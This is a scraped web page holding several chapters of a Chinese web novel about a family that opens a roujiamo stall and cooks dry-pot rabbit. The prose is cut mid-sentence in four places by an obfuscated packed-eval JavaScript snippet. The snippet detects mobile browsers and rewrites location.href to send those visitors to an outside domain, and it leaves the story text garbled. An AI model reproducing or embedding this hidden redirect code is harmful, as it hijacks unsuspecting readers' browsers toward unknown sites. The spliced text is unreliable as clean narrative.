卢大郎拿起个肉夹馍，这馍跟镇上的烧饼差不多大，看着松脆焦黄，条纹清晰，闻起来浓郁醇香。 卢二郎拿起来就迫不及待的咬了一口，肉夹馍皮酥里嫩，肉汁软糯，肥而不腻，馍和红烧肉合为一体，互为烘托，将各自味道发挥到极致，回味无穷，吃了一个直让人想第二个。 卢二娘子觉得这肉夹馍比红烧肉还要好吃，加了青菜，添了几分鲜脆，丰富了肉的口感，再加上浸入了肉汁的松软面饼，只觉得吃不够。 卢大贵大口吃着肉夹馍，对这门生意十分看好了，道，“晓晓，爹一会到镇上给赁个炉子，这肉夹馍你打算怎么卖？” “爹，一斤红烧肉约摸能做二十个肉夹馍，需要两斤半的面，我想这肉夹馍就卖八文钱一个，若是有人单买肉，就四文钱一块，六文钱两块”。 “这价格实在，两块肉切片，能切出一小盘菜了。爹一会就到镇上，可还有什么要带的？” “没了，锅和面板先用咱自家的，若是卖好了，再添置。”卢晓晓回答道。 又接着说，“二哥，一会你把兔子处理了吧，晚上咱吃兔肉。” “好咧！”卢二郎现在最喜欢帮卢晓晓处理食材了，这意味着又有好吃的了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811407|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一家人吃过早食，便各自干活去了。 又说回卢三郎，昨日吃过晚食就心心念念着今日的早食了，耐着性子上完早课，拿到卢晓晓送来的早食，就忍不住大口吃了起来，浓郁的肉香味惹得边上的同窗频频看过来。 “怀义哥，吃的什么呀？这么香。”里正家的小儿子杜子松问道，香得他的白菘烧肉都不好吃了。 “肉夹馍，我姐给做的，可好吃了。”卢三郎自豪道。 “让我尝一口呗！” 现在的里正是老里正的儿子，也就是卢大娘子的哥哥。杜子松和卢怀义自幼一起在学堂读书，两家又有这层亲戚关系，所以两人关系不错。 “那你就吃一口，别吃多了啊，这可是我的早食。”卢三郎把肉夹馍递过去，杜子松就着边咬了一口，卢三郎就赶紧收了回去。 外酥里嫩的面饼，软糯喷香的肉馅，好吃极了，还想再吃一口，只见卢怀义已经大口吃完了。吃完肉夹馍再吃自家做的烧肉，杜子松就更觉得没滋没味了。 为了准备明日的吃食，卢晓晓吃过早食就到李屠夫家买肉，屠夫见她连着日子买肉，一边割一边问道“晓晓，又来买肉啦？今日怎么要这么多的肉？”。 “李叔，我家打算做些吃食到镇子上卖，以后会经常买肉，叔您给便宜点呗。” “那今儿叔就少收你十文钱，以后来叔这买肉超过五斤，每斤都给便宜两文钱！”有稳定的客户自然是好的。 卢晓晓谢过李屠夫，把五斤五花肉放到篮子里就回了村。 回家把肉炖上后，卢二郎把兔子也处理好了，便叫上他一道去村西面的山脚下摘了几片芭蕉叶。 拿回家让卢二娘子裁成比巴掌略大的小叶片，又裁出几片大的，洗净，晾到院子里。 浓郁的肉香把隔壁宅子的张大娘馋了出来，心里咕嘟道“这卢家天天炖肉，可是有什么好事？”。想着想着，这脚就不自觉的走到了卢家门口。 只见堂屋里，卢家的两个侄女正在绣花，道，“春芬、春芳呀，你们婶子呢，怎么不见她人呢？” “晓晓把三婶叫去帮忙了，一会就回来，张婶有什么事吗？”春芬回答道。卢二婶子偶尔指点下针法就行，不用一直陪着她俩。 “没事，我就过来聊会儿，你们三婶家可有什么好事，昨儿刚吃了肉，今儿又吃啦？” “晓晓妹妹昨天做的红烧肉可好吃了，打算到镇上摆个吃食摊。”春芳快人快语，做吃食的生意瞒不久，也没必要瞒着。 哟，这吃食生意就这么容易？这卢家人也太异想天开了。张大娘腹诽到。 “做吃食生意好啊，我到镇上的时候，一定去买来尝尝，既然你婶子不得闲，我就先回去了。”张大娘得到了想知道的，又说了两句客套话，便回去了。 这一回去，没两天就吆喝得全村人都知道了卢家要去镇上买吃食的事，还给带来了一波生意，这是后话。 5. 干锅兔肉 卢晓晓把去了毛的兔子用火撩了燎，把未去干净的细毛弄干净了，再把兔肉剁成小块，开始准备做今日的晚食。 大堂哥送的兔子不小，约摸有三斤重，她决定做一道四川的名菜干锅兔肉。其实她更喜欢吃冷吃兔，只是冷吃兔用油多，且多做小食，没有这干锅兔肉下饭。 卢晓晓把切好的兔肉放到碗里，加少量面粉，抓拌均匀，面粉把兔肉里的脏东西和血水吸附出来，再用清水洗净，然后用清水反复洗上几次，直到不再能洗出脏东西，把水抓干，放在碗里备用。 葱姜捣出汁水，加入少许盐，少量米酒，将洗好的兔肉腌制上，又去院子的地窖里取了一节莲藕，这是今年夏天刚收的藕。里正家种了一池莲，收藕的时候给卢大娘子送了些，这卢大娘子又给卢二娘子送了些。 这莲藕可是好东西，早藕脆嫩可以作水果或凉拌菜生食，中、晚熟藕可以作蔬菜熟食，做法也多样，可炒、炖、烩、溜、蒸煮吃，还可以做成藕汁、藕粉、蜜饯等甜食。 把藕洗净，切成藕丁，泡在水里，这样能把藕里的泥沙去得更干净，且做出来的藕口感清脆。然后准备调料，把小葱切段，蒜拍碎，姜切沫，又抓了几颗茱萸，几颗花椒。 茱萸和花椒是托两位堂哥从山里寻来的，移植了几株到菜地里，小心翼翼的伺候了几年，好不容易攒下了一些果实。 备好调料，把晚上要吃的米煮上，又把泡在水里的藕丁捞出来放在一边滤干备用，便开始做干锅兔。 卢晓晓往锅里倒入些菜籽油，待油微微冒热气，就将滤干水的兔肉倒入锅中，炸至外酥里嫩且熟时捞出过，再将滤干水的藕丁，倒进锅中炸得断生即出锅。 把多余的油舀出，剩下些底油在锅里，在油锅中投入准备好的茱萸、花椒、姜沫、蒜片、葱段，小火炝香，再依次加入备好的兔肉和藕丁，加少许盐，中火慢炒，炒至水分将干且入味，兔肉变得干香滋润，便起锅了。炒出来的兔肉看起来肉香味美，色泽诱人，闻起来香气喷鼻，令人垂涎。 卢晓晓忍不住尝了块，外酥里嫩，麻辣鲜香，味道刚刚好。 把干锅兔盛出一碗给堂屋里的堂姐们送去，说道，“春芬姐、春芳姐，这干锅兔里放了茱萸和麻椒，味道吃的是麻辣鲜香，不知道你们吃不吃得惯。” 春芬接到碗道，“可是之前你让哥哥们去山里寻来的植物？娘用来做过一回菜，吃完只觉得辣人得不行，倒不像你做的，这香气中带着丝辣，直叫人想吃。” “娘那怕是没做对，姐我们快回家尝尝吧。”“三婶、晓晓，我俩就回去啦。”春芳着急道。 春芬、春芳没走多久，卢大贵就从镇上回来了，家里的独轮车上加了个炉子，车上还有半袋子炭。 卢晓晓见卢大贵回来了，就去灶房炒了盘青菜，把饭菜端出来，卢大郎吃过饭还要回到镇子上呢。 等卢家三兄弟回到家，便开始吃饭了，一家人围着一大碗喷香的干锅兔大快朵颐。 鲜嫩的兔肉与微辣的麻辣调味完美融合，浓郁的酱汁渗透到细腻兔肉中，令其更加香嫩多滋，每一口麻辣都令人回味无穷。 只听屋子里此起彼伏的吸气声，但就是没人停下筷子，卢大贵直叹要是有酒就美了。 卢家在这边吃得欢喜，隔壁的张大娘家就没这么和谐了，张大娘穷苦人家出身，出嫁前没吃过什么好菜，人也懒，做菜不是煮就是大乱炖，张大郎和儿子们老早就有意见了，这两天被卢家的饭菜香味这么一激，意见就更大了。 “娘，这菜天天不是煮就是炖的，就不能给换个做法吗？”大儿子道。 “这有肉有菜的，还遭你嫌啦，想娘小的时候只能吃干吧的菜叶子。” 张大娘嫁人嫁得好，她本姓张，丈夫杜有财得贵人赏识，得了份不错的长工，女儿嫁到了李家庄，大儿子能干，小儿子跟卢怀义一样在学堂里读书。张大娘也不用下地干活，平日总在村口的大树下跟人闲聊，她最喜欢跟隔壁的卢二娘子比较。 “再是有肉，也架不住这天天一样的味道呀！你跟人隔壁学学啊，你闻闻人做饭多香啊。”大儿子嘟囔道。 “啧，你还想学呢，人家可是要拿出去卖钱的，能让你学？”张大娘咋舌道。 “卢家可真是要做生意？”张大娘的丈夫杜有财问。 他在外面做长工挣得多，也见得多，知道在地里刨食日子也只能紧巴巴的过，可祖祖辈辈都是农民，谁又敢走出去呢？卢家能想着出去做生意，很是难得。可生意又哪是那么好做的？ “那可不，今儿炖了一下午的肉呢，也不知道好不好吃，叫我说，做生意哪有那么容易，镇子上的好吃的那么多，我看就是白瞎钱。”张大娘很不看好。 “可好吃了，连杜子松都觉得好吃。”里正家在村里颇殷实，杜子松经常能去镇上吃东西，他都觉得好吃，那肯定是好吃的。 听了小儿子的话，张大娘不由得对隔壁的动静更在意起来，后来，竟还帮了卢家的忙。 又说卢家，吃过饭，一家人喝着山楂叶水，商量起明日出摊的事，这做生意，要尽可能把方方面面都考虑好。 卢大郎建议摆摊的地方就选他干活的书肆所在的街上，这条街上往来的多是镇子上的市井人家，略有薄蓄，经常会出来买吃食，且这条街上只有一家卖肉饼的，那味道没有晓晓的肉夹馍好。 卢晓晓和卢大贵夫妇两也觉得好，他们给大郎送过几次东西，知道这条街上的吃食比粮铺那街上精致一些，也略贵一些，那边往来的多是贩夫走卒，且此处与镇衙仅一街之隔，治安也好。 只是摊位紧俏，又约定好兄妹两卯时便出发，到镇子上再吃早食。饼要现烙的好吃， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811408|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卢晓晓出发前先在家揉好一团面，到了镇上再现做。芹菜和生菜新鲜的才好吃，也要当天准备，则由卢二娘子早起一刻钟准备好。 卢二娘子又给了卢晓晓两个布兜，一个用来装裁好的芭蕉叶子，方便取用，一个用来装铜钱的。 因为是第一次出摊，不知道生意如何，该提前准备多少次日用的肉，就决定让卢大贵带上一箩筐家里种的菜去集市上卖，再提前回来，方便卢二娘子去买肉，晚了可是买不着好肉了。 商定好，卢大郎就回了镇上。趁着天还有些亮，卢大贵和卢二郎到地里收了一箩筐的菜，卢二娘子跟卢晓晓一起试了试炉子，收好晾在院子里的芭蕉叶子。 卢晓晓又去拾掇了下出摊要用的筐子和篮子，天已经擦黑，出来听到堂屋里传来了大堂哥的声音。 便走过去打招呼，“大堂哥怎么这会过来了，可有什么事？” “正好你来了，你大堂哥寻的是你。”卢二娘子道。 “晓晓，今儿的干锅兔太好吃了，明日可得闲帮忙再做一锅？”大堂哥有些急张地问到。 卢晓晓有些疑惑，这大晚上过来就为了解馋？二伯一家也不是这么重口腹之欲的人呀！ “哎呀，你这孩子，三婶帮你说。”卢二娘子急到。 “晓晓，是这样的，你大堂嫂有了身子，害喜得厉害，见不得荤腥，吃什么吐什么，只能吃下些腌豆角、腌黄瓜，可这只吃素不吃肉哪能行，把你二伯娘和大堂哥急坏了。今儿吃了你做的干锅兔，总算能吃下些了。今儿你大堂嫂的娘家人捎信说明儿要过来看她，你二伯娘就想着让咱家一道过去吃饭，趁着这大喜事，三家人聚聚，乐呵乐呵。”卢二娘子本就知道堂侄媳妇有喜的事。 卢二娘子又说，“你二伯娘呢，就想着央你再做一锅干锅兔，一是让你堂嫂能吃好些，二是干锅兔最适合下酒。又听你两姐姐说咱家明儿要出摊，怕是不得闲，便让你堂哥来问一声。” 卢晓晓想怪不得看大堂嫂最近都瘦了，看了看不好意思但却透着高兴的大堂哥，笑道“这是大喜事呀，恭喜大堂哥了，明儿我们过了午时回来，晡时做可来得及？” “来得及来得及，到时候我先把兔子杀好。”卢怀德高兴的答道，又约定好明日做兔子的时间便家去了。 “晓晓，这干锅兔咱是不是也能买呀？”卢二郎是个脑子灵活的。 “今儿做的我留了份出来，试试看明儿能不能卖出去，若是能卖，咱又多了份进项。”卢晓晓得意的说。 “你俩快去洗洗睡了吧，明儿还得赶早。”卢二娘子见两个孩子颇有成算，心中放心了不少。 卢晓晓又去灶房把明天要用的东西点了点，回到屋里，又把明天做生意会遇到的情况想了想，给自己打了打气。 明天是能否掌握自己命运的关键，她得加油。 6. 出摊啦 天刚微微亮，卢大贵一家就起身了，卢二娘子早早起来准备好了要用的芹菜和生菜。 大家一起把东西搬到车上，卢二郎推着车子，卢大贵背着拿去集市上卖的菜，卢晓晓背着肉夹馍用的菜和揉好的面团，三人大步往那镇上走去。 许是三人都兴致高昂，十几里的路大半个时辰就走到了，也不比平日空手时慢上多少。 街上已经有小贩开始摆摊，远远地见到卢大郎占着块地，向他们挥手。 卢大郎跟着书肆的掌柜一家，住在书肆后面的院子里，他一大早从侧门出来，给占了个好地方，见卢晓晓他们来了，赶紧回去准备书肆开门了。 卢大贵帮卢晓晓兄妹俩摆好摊子，就三步一回头的去集市上卖菜了。 趁路上行人不多，兄妹俩忙碌起来。 卢二郎生好炉子，把做好的红烧肉放上去，小火煨着，又把要用的菜和芭蕉叶子摆好。 卢晓晓把发好的面揪出一个个小剂子，揉成条，盘成圆，压成饼，做好饼又揉出一个面团在边上醒着。红烧肉加热得微微热，香气溢出来就可以了，这肉夹馍讲究的是热饼夹凉肉。 卢晓晓烙好第一锅饼，路上的行人就多了起来，把烙好的饼放在准备好的筐子里，手脚麻利地烙起第二锅饼。 卢二郎按照说好的，大声吆喝起来，“肉夹馍，肉夹馍，馍酥肉香的肉夹馍！乡亲父老们瞧一瞧看一看了！……” 有人停下来，问了问价，还是到别处买了吃惯的早食。 卢晓晓一口气烙了四五锅的饼，摊子依旧无人问津。眼见路上的人越来越多，卢二郎不免有些着急。 卢晓晓擦了擦汗，从锅中夹出一块两指宽的肉块，放在案板上剁碎，又放入一把芹菜粒剁匀，切开一个刚刚出锅的面饼，把剁好的肉和菜塞进去，用芭蕉叶子包好，递给卢二郎，道，“二哥，歇一会，先把早食吃了吧。” 卢二郎本没有心思吃，可肉夹馍太香了，就不自觉的接了过来，又见周围的人看着他，大口吃起来。 “小娘子，你真来出摊啦，给我来五个肉夹馍。” 卢二郎听着大哥熟悉的声音就想叫大哥，卢晓晓赶紧拉了他一把，道，“好咧，一共四十文钱，您是要加芹菜还是加生菜的？” “两个芹菜，三个生菜的。”这卢大郎平日里跟着掌柜家吃饭，掌柜娘子有时候不做早食，就会给他几十文钱，到这街上买肉馒头、肉饼之类的回去。 “好咧，您且等一下！”说罢，卢晓晓行云流水地做起肉夹馍来。 有那镇上之人认出了卢大郎是书肆里的伙计，便问道，“卢小哥，这肉夹馍你可吃过？可好吃？” “你看看那皮酥里松的大面饼，还有那喷香的大肉块，能不好吃吗？我们掌柜的可喜欢了！”掌柜吃过之后定会喜欢，他这可不算撒谎。 说话间，五个肉夹馍就做好了，卢晓晓用大块的芭蕉叶包好，递给卢大郎，道，“客官，您的肉夹馍！” 周围的人见这肉夹馍用料实在，又听说书肆掌柜都觉得好吃，便也想尝一尝，一个，两个，三个，买肉夹馍的人越来越多，卢二郎收钱收得嘴角都咧到了耳根。 筐子里的面饼不一会儿就下了大半，卢晓晓赶紧趁着没人买肉夹馍的时候揪剂子，做饼，烙饼。 突然，前面的街上喧闹起来，隐约传来哐哐哐的敲锣声，衙役来收出摊费了。 来的有两个衙役，一个年轻些，一个年长些，年轻的负责收钱，年长的负责登记，收一家便在簿子上画上一道，若是按月交费则能领到一个带号码的小牌子。 很快，衙役就到了卢晓晓的摊子前，年轻衙役道，“小娘子是第一日出摊吧，出摊费一日两文，若是按月交，一个月五十文。” 卢晓晓递过去准备好的五串铜钱，道，“官爷，我们按月交，劳您点点。” 年长的衙役抬眼看了看，道，“这卖的是什么？” “肉夹馍，用上好的五花肉炖足了时辰，再用这白面饼夹着吃，可香了！两位官爷可要尝尝？” “不用。”年长的衙役在簿子上记了记这家卖什么，见钱数无误，递过来一个牌子，便往下一摊走去。年轻的衙役倒是多看了两眼，颇为意动的样子。 这交钱也有门道，按月交说明是长期稳定的摊子，衙役的印象都好几分，跟现代的月卡和临时卡是一个道理。而这月牌需挂在摊子上，方便衙役每日收费时查看，又何尝不是种宣传？ 可世人们多是看不清，舍不得一下掏出这么多钱来。 不到巳时，带来的红烧肉就买了大半，好些是尝了之后，觉得好吃又回来买的回头客，还有一个顾客，单买了红烧肉。 卢晓晓做好几个肉夹馍放在篮子里，方便顾客来的时候带走，坐下来歇了歇，赶紧吃上个肉夹馍，忙碌了一早上已经是饥肠辘辘。 卢大贵卖完菜回来了，看儿子闺女一脸喜色，悬着一早上的心终于放下了，问道，“卖得怎么样？”。 卢二郎向卢大贵拍了拍沉甸甸的钱兜，道，“爹，成了！这还得多亏了大哥！” 卢晓晓让卢大贵坐下，又递过去一个肉夹馍，她盘算着今天约摸能把带的用料卖完，便道，“爹，明日还按五斤的量准备。” 卢大贵在摊子后歇了歇脚，见确实来买肉夹馍的人不少，便安心回家去了。 又说卢大郎把肉夹馍拿回店里，书肆的掌柜姓方，有一儿一女，都已成家，在县里住着。方掌柜夫妻俩都是厚道人，听说卢大郎的弟妹要在这街上做吃食生意，早上便让卢大郎拿着铜钱去买来吃，帮衬一二。没想到卢家人竟有这样的好手艺，又让卢大郎拿了十二文钱买了红烧肉做菜吃。 临到午时，街上买吃的行人又多了起来，这镇上多是人一日吃三顿。 “小娘子，这肉夹馍怎么卖？”年轻衙役来到了摊子前。 “官爷，一个八文钱，能加芹菜或是香菜。”卢晓晓热情道。 “给我来一个生菜的。”他不喜欢吃芹菜。 卢晓晓挑了个刚出锅的饼，手脚麻利的做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811409|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个肉夹馍递过去。 年轻衙役接过来咬了一口，只觉得肉香和饼香充满了整个口腔，大口吃了起来，吃完说道，“再给我来两个，都要加生菜的。小娘子，你这还卖别的吗？” 卢晓晓一听，这大客户呀！ “官爷，赶巧了，今儿有干锅兔肉，是用自家猎的兔子做的，加了秘制的香料，味道是麻辣鲜香，官爷您尝尝？”说着用干净的筷子夹了一小块兔肉放到芭蕉叶上递过去。 年轻衙役见这小娘子讲究，更满意了几分，接过来送进嘴里，只觉得麻辣鲜香的滋味在口中爆发，舌尖像是火焰在烧，强烈的味觉冲击让人觉得既刺激又满足。 “嘶，这有多少，怎么卖？”年轻衙役辣得直吸气。他想这配酒肯定特别好，正好有几个朋友从县里过来找他喝酒，他要叫他们知道镇上也不是没有好吃的。 “官爷，这一份一百文，约摸有半斤的量，可要给您包起来？” “包起来吧，这干锅兔肉明日可还有？” “这不好说，家里也不是日日都能猎到兔子。若是有，我明早给您留着。”卢晓晓把肉夹馍和干锅兔包好递过去。 “成，你给留着，今儿多少钱？” “官爷，一共是一百二十四文钱。” 年轻衙役付了钱，咂摸着刚才的麻辣味，喜滋滋的回镇衙了。 卢晓晓送走了年轻衙役，又卖出了好些肉夹馍，午时过半肉便没了，还有好几个客买了几个素面饼。 兄妹俩就收拾起东西，准备回家去了。 “晓晓，我们今天赚大钱了！”掂着沉甸甸的钱袋，卢二郎压着声音兴奋道。 “二哥，我们快回家吧，爹娘怕是等急了。”卢晓晓也很高兴，好的开始意味着成功的一半。 回程带的东西少，虽说累了一上午，但是挣钱的喜悦让兄妹两充满力量，很快回到了村里。 “怀仁、晓晓，回来啦，卖得怎么样呀？”在村口闲聊的张大娘问道。 “还行，婶子，您到镇上的时候，一定来尝尝我们的手艺，就在张记布庄那条街上。我俩先回去啦，爹娘还等着呢。” 卖得肯定不怎么样，不然兄妹两还能在这村里拉客？张大娘心说。口里却说，“行，婶子肯定去！” 又对旁人说道“你们瞧瞧，这卢家可太有本事啦，都能在镇上做生意啦！谁要是嫁进他们家可有福了！”说者无心，听着有意。 卢晓晓兄妹俩往家走去，远远就看见了频频向外张望的卢二娘子。卢大贵回来跟她说卖的不错，她还不敢相信，这会见到兄妹俩欢欣雀跃的样子，就踏实了。 因为家里来客，春芬、春芳今天就没过来。卢氏将兄妹两迎进来，道，“晓晓，快歇歇，一会还得去你二伯家帮忙呢。二郎快给娘说说，今儿卖得怎么样？” “我就想着晓晓他们该到家了，快说说。”卢大贵从地里回来。 卢晓晓把沉甸甸的钱袋从筐里拿出来，道，“娘，不碍事，快点点。”到手的钱才最能说明情况。 7. 卢家人 串钱需用缗绳，卢二娘子寻出串钱的绳子，跟卢晓晓一起数着钱，卢二郎就在一旁兴致高昂地说起了今天的事。 “爹、娘，我跟你们说，今天全赖大哥和晓晓了！我跟晓晓到了那，吆喝了半天，人都只看不买，我都急死了。忽然听到个熟悉的声音，问小娘子这肉夹馍怎么卖，你道是谁？”卢二郎停顿了下。 又接着道，“我抬头一看是大哥，就要叫他，还是晓晓机灵，一把按住了我。大哥买了五个肉夹馍，又跟镇上的人说他们掌柜的喜欢吃我们家的肉夹馍，客人就多起来了。当然，还得是晓晓做得好吃。” “还有那收摊费的衙役，收摊费的时候就一直盯着咱家肉夹馍看，走的时候还回头看了好几眼。果不然，快到午时，他便来了，你们猜他买了多少钱？” “足足有一百二十四文，晓晓带去的半斤干锅兔卖了一吊钱，他还问明日有没有卖呢！” “还有个大娘带着的小儿，经过咱家的摊子，被香得走不动道，直闹着要吃。” …… 不得不说卢二郎很有说段子的天分，卢氏夫妻两听得津津有味的。可数到五百文钱的时候，再精彩的段子也吸引不了他们了，这可是半贯钱！袋子里的钱竟还有一小半。 卢二郎也不自觉地停了下来，全家人都聚精会神的盯着卢二娘子串钱，六百……七百……八百……八百四十六！竟足足数出八吊又四十六文钱，快有一贯钱了！ 把出摊的五十文钱还给公中，又把面粉和肉的钱拿出来，买肉花了一百七十文，自家面粉用了十三斤，按市价一斤三十文钱算，一共是五百六十文钱，再数出十文钱的调料钱。 竟还剩下的二百二十六文，足足二吊钱！卢大贵夫妻俩和卢二郎惊呆了，一天就挣够了半个月的伙食，这做生意果然来钱快。 待卢晓晓把钱放好，三人才回过神来。这是先前说好的，扣除每日的本钱，赚到的钱都先由她保管，每月底交一贯钱到公中，剩下的按贡献分成，卢晓晓拿六成，卢二郎拿两成，卢二娘子占一成，卢大贵和卢大郎各占半成。 一家人把出摊的东西归置好，就锁了门，往那卢二伯家去了。 到了卢二伯家，卢大富和二儿子刚从地里回来，卢怀德收拾好兔子去村口迎岳父岳母了。 卢爷爷正在屋门口编竹筐，见卢大贵一家过来，道“晓晓和怀仁来啦，听你娘说你们去做生意啦？卖得怎么样？” “爷爷，卖得可好了，都卖光了！”卢二郎兴奋地说道。 “爷爷，今早的肉夹馍您吃着可好？”卢晓晓问道。 “好吃得很，不过以后这卖的东西，少给爷爷送，多卖点钱。” “尽够呢，您喜欢吃就多吃些，我让娘天天给您送！不行，这天天吃也不好，让娘隔日给您送！” “好好好，你的孝心爷爷知道了，你堂哥把兔子弄好了，等着你去做呢！快去吧！爷爷可等着吃呢！”卢爷爷笑道。 卢大娘子的大儿媳妇姓张，叫秀珠，听到说话声，就从屋里出来了，道，“三叔、三婶来了，今天劳烦晓晓了。” “说这外道的话干什么，快回去歇着吧，这会杀鸡宰兔的，别熏到你了。”卢二娘子道。 “堂嫂客气啦，回头我再多琢磨几个开胃的菜，咱好好养养。”卢晓晓看着秀珠蜡黄的脸色，不免有些担心，穿越前她有个朋友孕吐吐进了医院，足足输了好几天液。这古代条件不好，更要好好养着。 说罢话，卢二娘子和卢晓晓就去了灶房，卢大贵陪着老爹编竹筐，卢二郎绘声绘色说起了卖肉夹馍的事。 灶房里，卢大娘子正在炖鸡，把鸡肉切块后，放入锅里，加点酱油一起翻炒，然后加入过面的冷水，炖煮着。做法虽简单，可真材实料的闻着倒也香。 春芬在揉面，准备做贴锅的饼子，卢大娘子要做的菜跟现代的地锅鸡有些像，只不过是调料简单了一些，这吃法还是卢晓晓“想”出来的。春芳在一旁切菜，做兔肉用的藕丁已经备好了。 卢大娘子见到两人，又谢了一番，道灶房里的东西随便用。 卢晓晓拿起准备好的兔子，先用火燎皮，然后去内脏，再把兔子斩成小块，洗净，滤干水分，又过油锅，捞出备用。 再把多余的油舀出来，往锅里放入葱、姜、蒜煸香，又加入茱萸、麻椒，滋啦一声，浓烈霸道的香气扑鼻而来，灶房里的人都忍不住看了过来。再依次加入兔肉、藕丁进行翻炒，直到汁水微干，热辣喷香的干锅兔就出锅了。这边干锅兔做好了，那边的地锅鸡也快好了。 趁着做菜的功夫，卢晓晓跟卢大娘子说起了卖干锅兔的事，想让卢二伯一家提供兔肉，又说有两种供应方式，一是按市价，一百二十文一只，二是两家合作，卢二伯家负责供肉，卢晓晓家负责做和卖，卖的钱再五五分。 卢大娘子利落地答应了第二种方式，这明显就是便宜他们家，这一只兔子能出两斤肉，半斤一百文，一只兔子她家能分到两百文，就算只买出一斤，也就比往日少挣二十文，但能分到半斤做好的兔肉，这做肉的调料也是不小的花费呀。 “好香啊，亲家这是做的什么好吃的？”堂嫂的娘家人到了，来的是秀珠爹娘和大哥大嫂，还有个半大的孩子。 见客人到了，卢大娘子便和卢二娘子、卢晓晓一块出去了，春芬、春芳再炒两素菜，菜就做好了。 秀珠也迎了出来，秀珠娘见女儿的脸色泛黄，嚷嚷道，“我可怜的闺女呀，苦了你了，怎么就害喜得这样厉害！都是娘没在身边照顾好你啊！”说得好似女儿被婆家欺负了一般。 秀珠赶紧道，“娘，我没事，是我自个身子不争气，吃不得荤腥，昨儿吃下些三叔家送的兔肉，婆母今儿就特意让晓晓又给做了一锅。” 卢大娘子笑道，“亲家母，我这侄女的手艺好，一会您好好尝尝。” “亲家母，辛苦你照顾秀珠了，我从家里给带了些吃的过来给她补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811410|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补。”说着，从大儿媳妇的手上接过一个盖着布的篮子，里面装了几个鸡蛋和一碗咸菜。 又说，“这咸菜秀珠在家时可喜欢吃了，听说她害喜得厉害，就特地给送过来了。” 卢大娘子接了过来，笑道，“你们过来看秀珠，我可高兴了，还带什么礼呢！春芳，把亲家母带来的吃食收好。” 两家人见了礼，又聊了几句，卢三郎下学过来了，人齐了就可以开饭了，三家人分了两桌，秀珠闻着干锅兔的麻辣味，感觉还好，也就一道坐在了桌上。 张家人只见这桌上各有一碗油汪汪的地锅鸡和一碗红艳艳的干锅兔，还有一碗炒萝卜、一碗煮白菘、秀珠娘带来的咸菜也放了一小碟，很是丰盛。张家小子看着眼都直了。 卢爷爷简单的说了几句话，就让大家吃了起来，卢晓晓正想说这干锅兔肉辣，小孩怕是吃不得，就见那张家小子夹了一块飞速地塞嘴里，麻辣味刺激得小孩哇一声哭了。 吓得秀珠娘赶紧问怎么了，小孩也不说话，只一边哭，一边含着嘴里的肉。卢大娘子道，“怕是辣着了，快张嘴别吃了，喝点水缓缓。” 小孩不张嘴，最初的辛辣味冲击过后，香味就出来了，忍不住嚼起嘴里外酥里嫩的兔肉，眼泪也渐渐止住了。 “好吃吧，我第一次吃的时候也辣得受不了，可吃过之后就会觉得越吃越香，我现在可能吃辣了。”春芳得意道。 见这边没事了，大家又才动起筷子来，这干锅兔就像春芳说的越吃越香，越吃越辣，越辣越想吃，不一会儿就吃光了，又吃起地锅鸡，张家人直吃得肚圆。 女眷这桌不喝酒，吃得快。吃饱了回味着刚吃的好味道，秀珠娘就动起了心思，说道，“亲家母，还是我们秀珠有福气，嫁到了你们家得您照顾。” “秀珠孝顺又勤快，娶回家来，我们自是要对她好的。”卢大娘子笑着接道。 “唉，可怜我那二儿媳妇，也是害喜吃不下东西，我们家也没个能干人做这样好的菜，眼见她瘦了下去，我真是急坏了。”秀珠娘停了停。 那是二弟妹吃不下肉吗，那是没肉吃好吧，张家媳妇忍不住腹诽。 卢大娘子没说话。 “日前我听说这秀珠也这样，揪心得很，想着过来给她带点吃食，也想来看看亲家母你有什么好办法。今儿一吃这兔肉，叫干锅兔是吧？果然是喷香，叫我胃口今天都好了不少。”秀珠娘又说。 “娘，这吃完了，去我屋里坐坐吧。”秀珠打断道，这娘家人每次过来都连吃带拿的，她都觉得臊得慌。 “我这好久不见你婆母了，想多跟她聊聊，你个小辈别插话。” 